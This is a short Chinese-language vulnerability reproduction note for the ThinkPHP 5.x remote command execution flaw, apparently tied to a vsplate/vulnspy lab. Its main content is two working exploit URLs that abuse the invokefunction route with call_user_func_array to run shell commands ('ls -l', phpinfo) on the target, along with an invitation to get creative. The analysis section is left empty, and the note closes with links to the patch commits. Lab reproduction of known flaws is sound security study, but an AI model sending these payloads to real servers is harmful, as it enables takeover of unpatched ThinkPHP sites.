【漏洞復現】ThinkPHP5 5.x 遠程命令執行(getshell)

0x00復現環境

ThinkPHP 5.x (v5.0.23及v5.1.31以下版本) 遠程命令執行漏洞利用（GetShell）

0x01步驟

1. 點擊start to hack 進入環境頁面 run the project 然後訪問給出的target address
   1.執行系統命令顯示目錄下文件 http://aaa.vsplate.me:52763/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20-l
   

2. 執行phpinfo
   http://aaa.vsplate.me/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20'phpinfo();'

想你所想，發揮創意

0x02漏洞原理分析

待分析

0x03漏洞分析

Thinkphp v5.0.x補丁地址: https://github.com/top-think/framework/commit/b797d72352e6b4eb0e11b6bc2a2ef25907b7756f

Thinkphp v5.1.x補丁地址: https://github.com/top-think/framework/commit/802f284bec821a608e7543d91126abc5901b2815

reference

http://www.vulnspy.com/cn-thinkphp-5.x-rce/thinkphp_5.x_(v5.0.23%E5%8F%8Av5.1.31%E4%BB%A5%E4%B8%8B%E7%89%88%E6%9C%AC)_%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%EF%BC%88getshell%EF%BC%89/